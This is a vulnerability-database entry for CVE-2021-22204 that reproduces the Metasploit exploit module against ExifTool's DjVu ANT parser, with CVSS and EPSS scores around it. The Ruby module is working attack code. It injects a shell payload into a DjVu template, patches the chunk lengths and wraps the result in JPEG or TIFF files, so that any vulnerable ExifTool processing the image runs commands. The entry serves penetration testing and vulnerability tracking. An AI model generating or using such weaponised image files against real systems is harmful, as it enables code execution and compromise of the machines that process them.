Lucene search

K
metasploitWilliam Bowling, Justin StevenMSF:EXPLOIT-UNIX-FILEFORMAT-EXIFTOOL_DJVU_ANT_PERL_INJECTION-
HistoryMay 11, 2021 - 2:02 a.m.

ExifTool DjVu ANT Perl injection

2021-05-1102:02:12
William Bowling, Justin Steven
www.rapid7.com
52

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.1 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.924 High

EPSS

Percentile

98.9%

This module exploits a Perl injection vulnerability in the DjVu ANT parsing code of ExifTool versions 7.44 through 12.23 inclusive. The injection is used to execute a shell command using Perl backticks. The DjVu image can be embedded in a wrapper image using the HasselbladExif EXIF field.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ExifTool DjVu ANT Perl injection',
        'Description' => %q{
          This module exploits a Perl injection vulnerability in the DjVu ANT
          parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
          injection is used to execute a shell command using Perl backticks.
          The DjVu image can be embedded in a wrapper image using the
          HasselbladExif EXIF field.
        },
        'Author' => [
          'William Bowling',   # Vulnerability discovery
          'Justin Steven'      # Metasploit module
        ],
        'References' => [
          %w[CVE 2021-22204],
          %w[URL https://twitter.com/wcbowling/status/1385803927321415687],
          %w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],
          %w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]
        ],
        'DisclosureDate' => '2021-05-24',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 2000,
          'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \
        },
        'Targets' => [
          ['JPEG file', { template: 'msf.jpg' }],
          ['TIFF file', { template: 'msf.tif' }],
          ['DjVu file', { template: 'msf.djvu' }]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])
    ])
  end

  def exploit
    p = payload.encoded

    buf = djvu_template.sub('echo vulnerable > /dev/tty', p)
    buf[8, 4] = [209 + p.length].pack('L>')     # Fix up DJVM length
    buf[174, 4] = [43 + p.length].pack('L>')    # Fix up DJVI length
    buf[186, 4] = [31 + p.length].pack('L>')    # Fix up ANTa length

    if target.name == 'JPEG file'
      jpeg_buf = jpeg_template
      jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
      buf = jpeg_buf
    elsif target.name == 'TIFF file'
      tif_buf = tif_template
      tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
      buf = tif_buf
    end

    file_create(buf)
  end

  def djvu_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'
    ))
  end

  def jpeg_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'
    ))
  end

  def tif_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'
    ))
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.1 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.924 High

EPSS

Percentile

98.9%